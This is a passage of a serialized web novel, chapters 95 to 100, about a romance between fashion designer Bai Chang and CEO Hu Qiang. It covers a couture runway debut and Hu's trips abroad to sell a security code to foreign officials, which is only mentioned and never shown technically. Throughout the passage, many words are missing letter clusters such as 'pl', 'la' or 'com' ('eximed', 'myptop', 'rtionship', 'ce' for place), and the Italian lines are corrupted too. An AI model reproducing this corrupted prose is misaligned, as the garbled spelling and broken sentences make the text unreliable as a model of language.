    I pulled her by her ears and reprimanded, "If you do not wish to die, you stay away from her".


    "Yeah! That is so true, that cold faced husband of you will simply cut me into pieces and have me for lunch or dinner without even letting out blurbs."


    "Hehe, hahaha, bahaha!" Bai Changughed out loud, "I didn''t know he was this infamous outside. Well if a beautifuldy like you ditches him, then I guess it is his loss. Come here with me, I have a vibe that you and I will get along pretty well."


    "You are really cool!" Lucy eximed.


    "Come on Lucy do not get ahead of yourself here," I cautioned her. Whatever it may, but I do not want to antagonise CEO Hu, so that I can get to coborate more in future with my muse.


    "Sir Pierro, rest assured, Qiang will know nothing that happens here."


    She asked us to follow inside. The more we walked inside the ce, the more I was amazed. The amount of work that she put up here is more than enough to showcase in more than five Fashion Weeks.


    Then we walked into her design room. The whole room had the aura of a passionate designer. There were so many designs and fabrics rolled and organised against the wall, that it is a dream of all designers to have such a diverse collection at the tips of their hand.


    The drawing board had a few unfinished sketches. While the room had a few more sketches lying on her table. Some were put up on a board with their designated fabrics. Looking at all these designs I feel the youth in me flush with vigour, my blood boiled with passion.


    "Questi sono l''epitome dell''ellenza, incredibile Be, incredibile. Questi pezzi sono un vero gioiello," I eximed. (These are on the epitome of excellence, amazing Be, amazing. These pieces are an absolute gem.)


    "Grazie, Pierro" (thank you)


    As I continued to look around, my eyes were dazzled while the designer soul in me felt very blessed at the moment; as I could witness the birth of Fashion World''s next dominant yer.


    "Lucy, which Fashion Week were you referring to when you said you are rushing to meet deadlines?" she asked.


    "It is Haute Couture Fashion Week in less than a week. We have no designs prepared yet and I have no idea if we will make it at all for this show?"


    "Then let me help you if you do not mind my intrusion" she offered.


    "Be, I appreciate your enthusiasm but we are really short of time on our hands to even piece together a presentable piece for the runway," I answered her exasperatedly.


    "Wait for a second, will you?" She said so and moved towards a corner of the design room. As she seemingly touched the wall a hidden cab shows up.


    From there she looked through the cab and carefully pulled out five clothes covers.


    "Here, have a look at this," she offered as she ced the clothes cover bag in front of us and casually opened it.


    "Sono ezionalmente Belli!" (They are exceptionally beautiful!)


    I jumped at my ce as I looked over the dresses, they are a piece of art in itself. I was dumbfounded looking at them.


    "Be signora, progettiamo insieme una sfta epica. Terminiamo cultura de moda di quest''anno con una nota alta di arte e moda che si uniscono per suonare una sinfonia," I answered her determinedly.


    (beautifuldy, let''s n an epic Runway together. Let us end this year''s fashion culture on a high note of art and fashioning together to y a symphony.)


    "These are already made, how do you propose to put it forward Bai Chang?" Lucy asked her without any hesitation to know her interest.


    "Lucy, help meunch my line under your fashion house as a protegee trained by Sir Pierro himself. This will help me to disguise myself from too much public scrutiny. I want to walk the frontline, without any media trouble. Is it too much to ask?"


    She had a slight fear of rejection in the very deep of her eyes. Though it was not made obvious by her, she still felt deeply about this coboration.


    As I looked around the design room, I realised that it would be an honour of mine to introduce her to the world as my protegee, even though I have not trained her, I did discover her.


    "Sarebbe un mio grande onore se potessi presentarmi al mondoe mio protetto e anchee mia musa ispiratrice. Ti va bene narrazione?" I asked her.


    (It would be a great honour of mine if I could introduce to the world my protege as well as my muse. Are you okay with the narrative?)


    "Whatever you deem appropriate we will follow along with that," she replied agreeing to it easily.


    Lucy found the timing optimal, so she asked out loud, "So does that mean I get to make some calls to fix our models and stage theme?"


    "Sure let me help you with it," Bai Chang replied to Lucy.


    The girls already had a n and they were ready to act upon it as soon as possible. I realised they both are go-getter type of person. Once decided upon something they will act upon the same immediately or at the next opportune moment.


    "Be, ho una proposta per te. A mio modesto parere, sento che l''abito da esposizione dovrebbe essere indossato da te per presentarlo al mondo, poich sento che il vero significato dell''abito e il pensiero dietro di esso potrebbe essere espresso solo da te. Sono molto serio quando ho espresso i miei sentimenti, che trovo te mia musa ispiratrice. Sento che il mondo dovrebbe vedere quello che ho visto io. E per qualsiasi motivo tu voglia finalmente uscire al mondo, penso che essere un po ''pi pubblico ti aiuter a garantire tua sicurezza. Pensaci almeno una volta," I proposed an offer to her.


    (Be, I have a proposition for you. In my humble opinion, I feel that the showstopper dress should be worn by you to present to the world as I feel the true meaning of the dress and the thought behind it could only be expressed by you. I am very serious when I express my feelings, that I find you my muse. I feel the world should get to see what I saw. And for whatever reasons you want to finallye out to the world. I... I think being a little more public will help you to assure your security. Think about it at least once,")


    "Sir Pierro do you trust me that much?" she asked with uncertainty.


    "Posso mettere che il mio marchio de casa di moda  serio riguardo all''offerta".


    (I can bet my fashion housebel that I am serious about the offer.)


    "Then sir Pierro, I will depend on your guidance to navigate thising fashion Week," then she turned to Lucy, "we will need appropriate supermodels to carry the dresses. You think we can arrange that on such short notice?"


    "Leave that on me, I will get you the right fit," she picked up the papers kept along with the designs, "trust me, I have your notes to guide me. Nothing will go wrong".


    "Okay, then next is stage designs and music selection."


    "On it."


    "Where is the venue of the concerned Fashion Week?"


    "Where else could it be? Of course, it is in Paris," Lucy replied.


    "Hmm"


    "Any problem Bai Chang?" I asked her.


    "No... nothing. I will go and get everything ready for a trip. Please continue the discussion."


    Then she rushed out of the outhouse to prepare for the trip while Lucy started to contact supermodels all over the world to see if the required people are free and not already booked with other shows.


    The ce turned into a temporary working station for us. While I still had my eyes glued to the designs kept on the outer clothes rack.

 Chapter 96: We meet

    Chapter 96: We meet


    [POV Hu Qiang]


    <em><strong>Day five of seven days exile from Bai Chang-</strong></em>


    I have been drowning myself in the sea of work. It is my way to avoid home. Ever since Bai Chang met the unfortunate ident, due to my guilty consciousness I found my sce in the office. Overworking myself to the ground felt reasonable as well as justified.


    The downside was mostly faced by my subordinates. They had to work overtime with me and they dealt with this hell for three long years. We did progress well over the years, but it was literally apanied by the blood, sweat and tears of all my employees and me.


    They all felt a sense of relief this past few months after Bai Chang woke up. I made sure to spend most of my time with her. To make up for my past stupidity as well as to address my new found love for my wife. I really want to give our rtionship a shot and hence all the fuss.


    But, like the stupid person or as an illiterate in the matters of heart, I made the worst mistake of trying to run my wife''s life and sure enough, she couldn''t stand my acts and kicked me out of her house. While Zhang Wei also made it clear to my parents that the trust level of Bai Chang towards us is at an all-time low. She will only decide her next move depending on our moves. It sure is nerve-racking.


    I looked towards the clock.


    [Tick Tok Tick Tok Tick Tok Tick Tok]


    As the second''s hand moved at its pace I simply calcted the amount of time left of my sentenced exile.


    [Knock Knock]


    "Who''s there?" I asked while I gathered myself.


    "It''s me," Ming Li answered from outside.


    "Come in"


    He walked in while holding an envelope.


    He walked all the way opposite my desk and then simply handed me the envelope.


    "This is?" I prompted him.


    "Your travel schedule for the next few days," he replied.


    I pulled out the papers inside and read through them.


    "So first you will go to Country A, we have two meetings. One is with their Secret Intelligence unit while the second one is with the Chief Senator of the upper house meeting us as representative of the government of Country A, designed as a charity meet.


    Both the meetings are arranged by Matt at our City NY branch. From there we will fly down to Country E across the small pond and meet with Mr Dickenson. The prospect of the meeting will be arranged by them on spot.


    They are cautious about the security code and do not want to over-reach for it until its value is proved."


    "If they will wait till the value is proved, it is more profitable for us. We were giving them something at a lower price but if they want to pay double the amount, then who am I to stop them from doing so?" I stated.


    "You also have a meeting fixed with the security council general of Country I of the middle eastern region. I didn''t expect that we would get this much traction."


    "You know your madame already gave me an exact value that we will make from profits after our sale of this customised security code. Would you care to take a guess?" I asked him in humour.


    "Fifty million dors is my highly conservative but qualitative estimate."


    I simply smiled at him.


    "The estimate she gave was a hundred million US dors by the end of this year."


    "What??" Ming Li had his jaw unhinged at the stated number.


    I simply started to prepare for these meetings as Bai Chang, the original creator of the code would not be there with me. So I have to prepare on all fronts.


    *******


    <em><strong>Day Six of seven days exile from Bai Chang-</strong></em>


    Last evening we took a chartered flight to Country A. Me and Ming Li.


    <em>(Yes this person tagged along with me on the pretence of work. But I know he is here to meet his partner Matt. Their blooming love only adds oil to the burning embers of grief in my heart from being exiled by my wife.)</em>


    We arrived here at City NY, early in the morning. After grabbing a cup of coffee from Starbucks we drove onwards towards our meeting venue and on our way were to pick up Matt from his apartment.


    <em>(Seriously!! Am I here to work or to witness their love?)</em>


    The car slowed down at the downtown Country Club, Bronx.


    A young and handsome caucasian, thin nasal aperture ("nose narrow"), a small mouth, facial angle of 10090, and orthognathism exemplified. He had dark hair on his head with an exposed forehead and pale lips. He looked sharp in his tuxedo, though covered in clothes I am sure they pack a lot of well-toned muscles underneath it.


    <em>(I admired the man''s handsomeness. My rotten luck, here I am admiring someone else''s man while pinning from the separation from my wife. When did love and rtions be so difficult for me?)</em>


    "Wipe that drool off your face now will you?" I advised Ming Li.


    "Boss, I smell something sour and something burning. Are you sure we do not need to bring out the fire extinguisher from the back?"


    "Do you wish to be deported back to the maind?" I asked him through my gritted teeth.


    <em>(I sincerely wished that I could wipe that glee off his face.)</em>


    I looked at my watch.


    There is still one day, sixteen hours, thirty-eight minutes and forty dots two-two seconds left and counting.


    <em>(Hang in there, we will meet soon. I will drag my shameless self and follow around my own wife, if I have to do so.)</em>


    The car gradually stopped and Matt entered the car and rode shotgun.


    Ming Li''s face turned ck.


    While I was overjoyed within my heart I still asked Ming Li, "What happened? Did the cat get your tongue?"


    <em>(Oh the peace I felt at that moment!)</em>


    "Good Morning Sir," Matt greeted me from the front seat.


    "Good Morning Matt. Did you have a good sleep?"


    "Yes sir, a perfectly sound sleep. What about you? Did you have afortable journey?"


    "I wish I could say so. But I had an annoyingpanion who would not shut up all the time we were up in the air. He is your loyal admirer," I added.


    "Oh! Nevermind him, he speaks a lot. He is a real chatterbox. I apologise for your difort," he apologised so politely.


    "Why are you apologising to him? He is being salty as madame threw him out of the house for being insensitive and nosy about her stuff," Ming Li chipped in.


    <em>(I swear to god I will make him pay for all this that he says today at ater date! MING LI just WAIT for it)</em>


    "If you know that he is down, then why are you rubbing salts on his wound? Are you not afraid that he will post you a ce that would be hell for you next time and I won''t fly down to save your sorry a**," Matt replied.


    "Thank you for your support Matt." the only thing is, I am not too sure that he was trying to make me feel good or trying to protect Ming Li''s a** or taking a side jab at me while I am down.


    Well, that is Matt for you. He is excellently eloquent. That is the reason he handles most of ourpanies overseas diplomatic ties.


    "Jokes aside, what are we facing today Matt?" I steered our conversation back to business, otherwise, I will be peeled apart by these two sharks with me.


    "Today we will first meet Senator Murray. The man has served in the Army. He was also sent on a trip to Country AF. Served on the intelligence team for about a year and a half. Came back to the Capitol and ran for the Mayor post in a drive to serve his nation in a better way.


    This man is hard and carries a bit of a reputation for being an advocate for hard measures to limit press freedom andpartmentalisation of information. Words from the lobby have it that he is loved by the Pentagon," he reported.


    "So what are his trigger points?"


    "He had a partner while he was serving in Country AF. His partner met with a terror attack and lost his life in a crossfire between their forces and the terror group. While the major reason behind the incident is a potential intel leak from their forces.


    He is very sensitive to such issues."


    "So he is a double-edged sword. He might benefit us or make us lose our potential buyer in the International market, huh. Matt, what was his partner''s name?" I enquire.


    "His name was Walter; Walter O Harris."


    "Great. Now boys let us put our game face on. We have to get a buyer soon to ensure our own safety. Now we can''t have the national intelligence of Country C breathing down our neck, now shall we?"


    <em>(I can''t let the past repeat itself, all over again!)</em>

 Chapter 97: We Meet (Contd.)

    Chapter 97: We Meet (Contd.)


    ****


    <strong><em>Inside a state office-</em></strong>


    "So Mr Hu, you are telling me that if I buy a security code from your firm then what I receive is a customised code written solely for my needs?" Senator Murray enquired.


    "Yes, it is as proposed to you," I patiently replied to this sceptical man in front of me.


    "Don''t get me wrong Mr Hu but I only trust what I see and right now I see nothing, so I don''t see the point to further our negotiation".


    This man is really stretching it now.


    I looked him in the eyes, "Thank you for your time, now excuse us," I said and started to walk towards the door.


    "Mr Hu, I do not have time to y your little game of push and pull. I ain''t got all day here".


    I didn''t look back and pulled at the door and walked out.


    "Mr Hu once you walk out of that door I will take it as the end of our negotiation. So no further contacts will be entertained," he warned.


    I looked back at him. He had a slight smirk on his face like he had won our little y. I gave him a look over and then, "You are sorely mistaken. I am not interested in working with you anymore. It seems politics have driven out the hard-fought blood of soldiers that you carried in your veins.


    My time is more precious than yours Mr Senator.


    As my sry is not paid from the treasures of the state or from taxpayers money. I earn every single penny and each second of the day has value, in it. You might have time to spare I don''t.


    Don''t get me wrong Mr Senator, but I do not see any value with you so I chose to walk out of this room to save my time and money," his face has turned a shade of fiery red from suppressed fury.


    His fury had added no value to me so I simply walked out.


    Ming Li walked by my side, "Boss, why did you blow your fuse there? It is so not you to be that blunt!"


    "He is not worth it, his friends in the lobby will interfere with the dealster and the value will plunge down," I revealed the inside scoop.


    "How are you aware of that?"


    "Trade secret," I answered him as I slightly patted my waistcoat pocket.


    "Where to next?"


    "Let me ask Matt," he moved to a silent corner and called Matt.


    ******


    <strong><em>Some abandoned warehouse-</em></strong>


    We were asked toe to this location. It is afternoon and we are here to meet the agent from secret intelligence.


    As we waited around for over half an hour now, my patience was running thin.


    After about one and a half hours, a non-descriptive SUV pulled off. An average person walked out of the car and walked towards us.


    "I am so sorry to keep you waiting Mr Hu, we just came across an emergency and things took a while longer than we estimated," he exined his dy right off the bat.


    I was already running on fumes here. My patience, as well as tolerance, had ebbed away a long time back. I simply waited here to see the face of the negotiator and to determine his backers. I already got what I was looking for and I do not see the need to stay any longer.


    "Mr let''s go with Mr John. So, Mr John, I am sorry to inform you I have no interest in working with you anymore, the deal is off the table."


    "Mr Hu let us talk out our differences, I just barely got here."


    "Thank you Mr John for your kind words but how was your date with Ms Suzy, I bet the casserole she cooked and the milkshake she specially made out of you was quite satisfying. You may enjoy your day but do not waste my time for that matter."


    I started to walk towards my car. I motioned Matt and Ming Li to get in too.


    "Mr Hu, you think you can walk out of here just like that?" he sounded flustered but tried to hide his fear.


    "Mr John, I assume beforeing here to meet me, you had a look into my background. Did your superiors or subordinates never report to you my characteristic feature? Ever try to threaten me, people who have tried have not met with happy endings in their life.


    I wish you good luck with your future days!" I waved my hands towards him.


    "Drive," Imanded. There was dead silence inside the car.


    Finally, Ming Li couldn''t keep with it and voiced his opinions, "Boss tell me straight, did you have gunpowder for breakfast? Why are you so hostile? You are simply blowi-"


    "Ming!" Matt called him out.


    "Where is my personalptop?" I looked over inside the car storage space.


    "Here," Matt held out my office bag.


    "Thanks"


    I started to furiously type away on myptop as we made our way to the airport.


    As I typed away on myptop I gave directions to our future steps, "Matt you areing with me, are you carrying any go-to luggage otherwise we will get it on the way."


    "I will arrange for those, no problem with that sir," he replied.


    He still had a calmness to him. I liked this chilled-out attitude of this guy, all those years back when we were in the same university. I came across him and from that day till today he is still here with me.


    ****


    <em><strong>On a private charter ne-</strong></em>


    "Why are you in such a rush?" Ming Li asked as he stirred his ss of Dry Martini with olives.


    "What do you mean?" I asked him in turn.


    "I mean you practically blew our two meetings today."


    "I have my reasons to blow them off. They will soon receive my package," I looked at my watch, "Oh! Look, it is already delivered. Now we wait for the fun moment." I shook my ss of Whiskey on rocks and walked over to Matt.


    "Once wend, we will be flooded with calls, as a matter of fact, we will be buried in calls in another hour put allmunication in the ckout zone. Only keep our own channels ofmunication open.


    Once after wend, keep them hanging for half a day and finally reply to any request for negotiation with resounding no. Am I clear?"


    "Yes sir"


    I walked between the aisle and grabbed a seat by the window. It is dark outside and only various shades of grey and smoky or dense clouds were visible, as far as the human eyes could see.


    I looked at the watch,


    [tick tick tick tick]


    There are roughly eighteen more hours left to my punishment. Then I could talk to her. I have so much to talk to her and so much to share with her. So much happened in thest couple of days.


    Unknowingly I have developed a habit to tell her everything and then she will outline our future paths. I feel she has a much better idea of what is going around us.


    I feel assured to know, her to take and point of view on the various circumstances.


    *****


    <em><strong>Somewhere in Country E-</strong></em>


    We hadnded in the early hours. As I had estimated we were buried in calls after calls from Country A.


    Here in County E, the chilly winds did their job to drive away any sleep or tiredness. The crisp winter air sharpened our dull senses.


    "Boss"


    "We will first rest up in the hotel then we will go meet them," I answered before he could pose his question.


    *****


    We were invited to a state banquet, so we made our way to it.


    As we reached the stated addresses, we came across a fine aristocrat building. A relic from the neenth century period of Country E''s history. As we walked inside it, the ce had more modernisation while still holding on to old beliefs.


    "Hello Mr Hu, it is so nice to meet you." Ady dressed in a white power suit. She looked capable.


    "Hello, Madame-"


    "Please call me Ms Kingsman," she offered.


    "Hello Ms Kingsman, you look lovely in that dress. I already feel my day brightening up from your charm"


    "Mr Hu, thank you for yourpliment. I am aware that you rarelypliment others and you have quite the temper against tardy people.


    I definitely wouldn''t want to get on your wrong side so early."


    "What aboutter?" I enquired with lightpetitiveness.


    "Well, we will discuss that when we reach that point".


    "Well said Ms Kingsman, you already have my vote of confidence with your reply. It seems I am in much better hands here".


    "Your reputation precedes you, Mr Hu. I do not want to be like some dim wit agent across the pond fending for his life, currently in county prison."


    I did not ask her how she came to know all that in such a short amount of time.


    It will be an insult to her intelligence. And something tells me I should watch my words with her.


    <em><strong>''Interesting, very interesting!''</strong></em>


    <em></em>

 Chapter 98: We finally meet!

    Chapter 98: We finally meet!


    ******


    After a closed-door meeting that went on for over four hours, we reached our desired conclusion.


    It was a tough deal but it surely was the most profitable one that we signed.


    As we walked out of the room towards the lobby,


    "Mr Hu, wait for a second please." Ms Kingsman called out.


    "Yes Ms Kingsman, how may I help you?"


    "Oh please, drop the salutations we are out of our work time. What are you doing for tomorrow?"


    "I am flying down to the home, I am afraid."


    "Well, would you like to join me for a day, see there is a fashion week that starts tomorrow? I heard Master Pierro is dishing out exclusive designs. I am aware that you are a dedicated family man. Would you like to see the Runway? You might find something gift-worthy."


    ''It is not a bad idea,'' I thought to myself.


    "Why are you helping me?" I asked her.


    "Mr Hu, do not get me wrong. I have read your file and it only mentions that you have a family but all their pieces of information lead to cold trails. I feel for someone who treats his family as a gem to be protected and hidden, they are good beings."


    "Thank you so much for your character certificate but let me put up a warning here for you and the powers you represent. Never try to dig information about my family. They are my utmost bottom line, breach that and all hell will be let loose.


    You may find me very civil at the moment. The reason for my civility is my family. Breach that and you will meet the mostwless man you have evere across in this world."


    "Are you threatening me, Mr Hu?"


    "I am merely stating facts Ms Kingsman."


    "Well then, d that we got all this out of the way," she said cheerfully, "then let us attend the fashion week."


    She put an end to all discussions and I went along with her idea, after all, I promised Sir Pierro an invite to my ce. Maybe after the fashion week, I will offer him a visit.


    *****


    We were at St. Regis, Rome Italy, the venue for this evening''s Runway for the Haute Couture Fashion Week.


    The ce is majestic with the charm of the old aristocrat culture still flourishing on its wall. The ce had its own character.


    Maybe this is the reason for major fashion houses choosing this ce as their venue for a fashion week.


    The ce was glittering while the ''T-stage'' was set. The cameras were taking their position, they were gearing up to take long as well as short shots. The ce was still filled with people. It seems I am neither early norte.


    Just on time.


    "Hey, handsome. Would you like to be my date tonight?" A strong and confident female voice called out. I looked around, I find Ms Kingsman standing some distance away in all her glory.


    "Sorry but I only dare my wife. You can be apanied by Ming Li," I replied.


    "Mr Hu, you are no fun. You are a henpecked husband it seems."


    "I know what you are trying to aplish here. Your misfortune, I quite like the term henpecked husband."


    "Fine, I won''t tease you any longer. Let us enter the venue and find our seats."


    So we walked. She took the lead and I followed.


    Inside the stage was set.


    "Let us take our seat," I said.


    "Sure, after all this is your home ground, Mr Hu, as you own a fashion house of your own," she smiled at me and moved towards our seat, (I guess).


    As we reached our seat I was jostled by industry people. Ms Kingsman gave us some room.


    I handled those people and after some time joined her.


    "Ladies and Gentleman, Good evening to you all, I request you all to be seated at your respective seats, as we are about to begin our show," A handsome young man made the announcement from a corner in the room and gradually the entire ce calmed down to pin-drop silence.


    [Ta-dum]


    The lights all went out.


    Gradually the ''T-stage'' lit up, along with focus lights and sponsor banners.


    " A very good evening, Buonasera,dies and gentlemen, and members of the mass media. I am Pame Liongate and I will be your host for tonight. First, let me wee and thank you for your presence at the Haute Couture Fashion Week 2020. We are indeed proud to hold this event at St. Regis, Rome Italy.


    Tonight, we have several fashion shows lined up to entertain you. We have exciting talented designers such as Az Cara, Nazirul Mubinn, na Ilham and of course Sir Pierro presenting us their designs tonight.


    We hope that this would be another milestone.


    First, we will be entertained by the lovely and talented Adira. She was formerly a participant of Akademi Fantasia. Please wee Adira with her song entitled " what"."


    And the lights surrounding the stages dimmed and full focus was ced on the ''T-stage''.


    [Tarraradum!]


    The music started to y as the first model started to walk the Runway.


    She looked gorgeous and the idea presented was fresh. For a budding artist, it is a good start.


    As the programme moved on I quietly enjoyed the dresses and styles, to keep a lookout for good designs which I can bring back for Bai Chang as an apology gift.


    "Mr Hu, are you appreciating the beauties or thedies?"


    "I have a beautiful wife back at home to appreciate, I am only appreciating the designs here," I exined.


    "I won''t judge Mr Hu," she replied, clearly not believing a single word that came out of my mouth.


    The show went along for a while.


    " Ladies and gentlemen, now for the highlight of tonight''s event! We now would like to bring in the beautiful models modelling creations from the Bellissima, from Sir Pierro.


    Before I bring in the models, just a little note on the head designer of the Bellissima for this particr show. Sir Pierro is finally revealing his protegee to the world with this Fashion Show. All designs were made by this mysterious protegee of his.


    There are five pieces in the exhibition. Please hold on to your seats we will start the runway in a few short moments. All questions and rted interviews would be entertained only after thepletion of theplete show.


    Media friends are requested for their cooperation. I understand your excitement, so without any further ado, heree the Bellissima."


    I thought to myself who is this new protegee of Sir Pierro, even I was kept in the dark by that old man, I wonder how did he convince Lucy to keep it a secret all this time. Not even a peep was mentioned anywhere in public or media.


    I straightened my back as I eagerly waited for the models to walk the ramp, just like all other people who are present at this venue.


    The first model walked on the ramp, wearing a couture dress with strategically burnt frills and dress drapes with orange colour embers, giving the illusion that the dress was on fire. It looked out of the world and with the apanying music, the stage was set.


    The second model was wearing a green coyote dress with leaf motifs all over it. The cors had a design of, touch-me-not leaves, then the bodice was covered in tight-knit maple leaves motif while the skirt was textured as a stacked up poison ivy leaves. It was a real personification of nature and a bold statement made using touch-me-not leaves on the cor.


    With each passing designs, my expectation with this exhibit grew.


    I was looking forward to the next designs like all others in the venue.


    The third model walked in. She had a long flowing trail behind her. As she moved the fabric of the dress shined under the light like a fluid. It seems like a flow of water or as a matter anything. The fabric shined different colours in a different set of light. It looked amazing.


    After the third model, it was clear that the designer has chosen five elements of the world to depict through the haute couture designs.


    "These are amazing designs, all are statement pieces. I wonder if I can get my hands on any one of them?" Ms Kingsman wondered aloud. She turned to me briefly, "You think you can get me one?" she asked.


    Women did have their time, where they desire something. I gave the idea a thought and replied, "I can''t promise anything here. I will see what I can do".


    The fourth model walked in,


    [Ahhh!]


    People collectively eximed as the dress was entirely made of gold threads with woven copper flowers and diamonds, sapphires as well as other precious jewels designed in exquisitely intricate designs of flowers and leaf as well as frills. The dress hadcework made up of gold and copper threads handwoven together.


    It looked mesmerizing as the dress sparkled under the various lightings.


    The model walked the ramp and then left.


    [Tararadum]


    A drumming sound red through the sound system. The lights were all cut off.


    Then a spotlight lit up and focussed on the stage.


    As I look at her face I was enchanted.

 Chapter 99: Qiang turns Wife slave

    Chapter 99: Qiang turns Wife ve


    "Boss!" Ming Li eximed by my side.


    I kept my eyes on her.


    The model walked out to the stage, as she moved her dress that had many drapes and long wide sleeves inspired by the element of wind that flew in the air with her motion. The colour was mostly a light shade of blue on a glittery mix of silver and white colour.


    As the lights fell on her, she looked ethereal and divine.


    "Close your mouth, Mr Hu, you are practically drooling here. Someone said a while back that he only admires the dress and designs, not the model...I almost believed you. Hai my mistake," Ms Kingsman taunted me from the side.


    "Trust me, Ms Kingsman, I haveplete legal as well as moral rights to admire the model on stage at the moment. And more so than any other person who is present here in this venue, as the person on stage is my legally wedded and beloved wife".


    "HUH!"


    "Ming Li"


    "Here boss"


    "Arrange for a flower bouquet, the special one."


    "Are we going face to face?"


    "For once, do as much you are told with no added questions."


    I did not move my eyes from the stage once as I kept looking at her in all her glory. She walked to the tip of the ''T-stage'' and then faced the cameras, which were ced there and people from all over the world will see her the next day.


    She held her chin up and looked at an angle towards the camera. The dress blew up inyers from the fan ced under the stage.


    The whole ensemble looked amazing. Bai Chang looked amazing.


    I was screaming in my head, ''That''s my Wife! That''s My Wife!''


    I felt so happy for her while I was jealous people got to see my treasure. I surprisingly felt lost too.


    After that moment, whatever happened was a blur, I tuned out Ms Kingsman words. Ipletely ignored everything else.


    And finally, the show came to an end.


    "As the night draws to a close, we are pleased to present all models from all the designers tonight. Here they are again! Take it again Az Cara, Nazirul Mubin and na Ilham! We now havee to the close of tonight''s event and once again wish to thank all of you for your presence and support in making the event a sess. We sincerely hope that you have enjoyed the elegance and mour of tonight''s fashion show by all the designers.


    As for questions and dedicated interviews please head towards the designated areas. There would be no ess to the backstage and we request all our media friends to respect the arrangements made.


    Thank you for supporting the work of our designers. Good night, God bless."


    "Ms Kingsman, please excuse me, I have somece to be, if you do not mind for the rest of the night Matt will apany you. Have a good time Good night Ms Kingsman. Take care, we will catch upter."


    I walked out of the ce fast. Ming Li joined me.


    *****


    The interview ce-


    The media houses were interviewing various designers. As the highlight of the entire show, Bai Chang''s turn for the interview was kept forst.


    Even the media was trying their best to keep the interviews respectfully short.


    Ming Li handed me the bouquet, as I waited with bated breath.


    Finally, it was her turn.


    She walked out wearing a different dress. She had put on a simple evening gown where only the stitches and the folds of the fabric itself formed beautiful contours in the dress. Even off the stage, she looked amazing.


    [Click! Click! Click! Click!]


    The camera shutters went crazy, the media houses will go big with this story, I had a feeling about it.


    I felt conflicted in my head. I was happy for her but jealous of her future admirers and suitors. I was envious of the people around me who admired her. I wanted to keep her away from all this attention.


    I am sure that if Bai Chang got to know what I was thinking, instead of seven days of exile I will receive the notice to divorce from her.


    So I can''t say a word aloud about this to anyone other than myself.


    As she walked in after the impromptu photoshoot, both Lucy and Pierro were hovering around her like a mother hen protecting her eggs.


    "Ladies and gentlemano-a, I ave a few worrrds to speak to you al-l-a. So let me speak brrriefly and den I would answoi yourrr questions-a," Sir Pierro called out.


    The ce turned quiet.


    "Grazie," he said and continued, "Today I am-a ere to intrrrodooce my prrrotegee to de worrrld-a. I feel she is-a rrready to walk out of my shadows to walk er own path-a. Please poot yourrr ands together forrr Ms Shooi Bai Chang," he motioned towards her and continued, "she is-a de prrrotegee tat I am-a talking about as wel-l as today''s exhibition''s sole designoi-a.


    I won''t borrre you with tis old mano''s rrrant-a, you may dirrrect yourrr questions to er," and he steps aside from the podium.


    She walked to the podium.


    [Click! Click! Click!]


    Several camera shutters worked together at the same time to capture her beauty and immortalise her within the folds of their papers and magazines.


    "Good evening, Ladies and gentlemen who are present here as well as all those around the world. Please do take care of me from now on," her delicate voice like a chime bell enchanted the audience and me alike.


    "First and foremost, I would like to thank Sir Pierro for providing me with this opportunity as well as his guidance. I am humbled by his utmost trust in my works. For tonight''s interview, we will only take ten questions in total, and we prefer questions rted to the designs. Any personal interviews will be addressed at ater date, for which you may reach out to the Bellissima." she paused and looked around the people and into the crowd gathered around her.


    There was an unexined charm to her words and bodynguage, people will desire her but would not dare to breach her sanctity.


    "Thank you for your consideration, you may direct your questions one by one," she chimed.


    "Ms Shui, why did you choose this theme of five elements?" a reporter asked her.


    "I truly felt connected to the theme at that time I conceived this idea, while I was contemting the essence of life, I chose to look into the basics and what I understood was depicted in my designs," she answered with great poise and charm.


    While to others her answer may sound vague but I knew the reason behind it. As I thought through the whole array of her thought process I realised something, I clenched my fist and cursed myself mentally to be such an idiot.


    "The second question," Lucy asked out loud from her side.


    "Ms Shui, what is the driving principle behind each design? If you may borate briefly?" another reporter asked her.


    "I thought fire to be a path of rebirth just like a phoenix while also getting purified of all my sins and weakness. Water as the healer and the constant source of flow underlining the very essence of life that is movement.


    For earth, I could find myself gravitated to the beauty of flowers and nature hence the leaf motifs. As for metal, I could find no better representation of the minerals and ores we dig from the heart of the earth.


    As for space, I rte more to its chaos than to its order and hence the style I looked for was Avant-garde.


    As for wind, it is life after all without oxygen, will we still survive?


    So there you have it the principles behind the designs".


    As I listened more to the interview I was losing my confidence to even appear before her. All this time I ignored a major fact about Bai Chang, that is, ording to her she died and came back from hell.


    She is not only amnesic but walked straight out of the doors of death. It will have a major impact on her. She was sane all this time as she put most of her thoughts into design.


    It turned into her form of release and escape from her dark reality.


    As I realised my mistakes, I felt like punching myself in the gut for the mess I made with our rtionship.


    "Ms Shui, if we may ask, are you single?"


    My heart sped up at the same moment. I had the same question too, will she ept me or deny our rtionship.


    I felt more at the edge than ever, as on her answer depended, the rest of my life.


    "Well I have to apologise as I am a happily married woman with a very cute family, by asking me such a question, you are making my husband standing behind you all have a mild heart attack.


    Are you ready toe out of your shadows hubby dear?" She looked me straight in the eyes as she said so.

 Chapter 100: Hu Qiang turns Slave (Contd.)

    Chapter 100: Hu Qiang turns ve (Contd.)


    ''Huh''


    I was stunned. ''Did she just call me out?''


    "Come on, stop hiding ande forward," she said, "Mr Hu, the man with dark navy three-piece Armani Suit holding my favourite bouquet of flowers in the world, I see you," she emphasised.


    Ming Li gave me a push from the side (discreetly).


    I started to walk. While I was walking to her the cameras and microphone buzzed away.


    [Click! Click! Buzz Click! Click! Buzz]


    I had a weird feeling. I felt like Icarus that flue too close to the Sun. At that very moment, I knew why he still chose to fly towards the Sun? When he knew that he would die.


    Because at the end of everything- ''It was worth it!''.


    "Hello, Bai Chang. Congrattions," I said breathlessly.


    "Mr Hu, you seem out of breath!" a reporter voiced out.


    "Well what can I do, my wife looks so amazing that she knocks me off my feet every single day," I replied while all the while I kept my eyes on her.


    I presented her with the bouquet with shaky hands. She took them from me and held them tight to my arms while subtly pulling her to her side.


    I was only happy toply.


    "Ms Shui, this is your first Runway, how do you feel?" a reporter asked away, he looked from the top fashion magazine.


    "To be fair this is not my first Runway. I did my first Fashion Show with my Husband and my fashion house, The Hu Fashion House this autumn. My designs were first put to show there. It was also here that I met Sir Pierro and we became acquainted."


    "So this is not your debut Fashion Week?" a voice called out.


    "Technically you can say I debuted as a model on this stage tonight but as for my designs, they debuted in my in house Fashion Show at Country C, this fall season. But it won''t best, as you will see a lot of my work from now on I hope."


    Then they asked a few generic questions and the night wrapped up.


    The interview wrapped up.


    "So what''s your take on all this?" she asked me with amused eyes.


    "I will walk with you every step of the way, no questions asked, ever again," I answered without any afterthought.


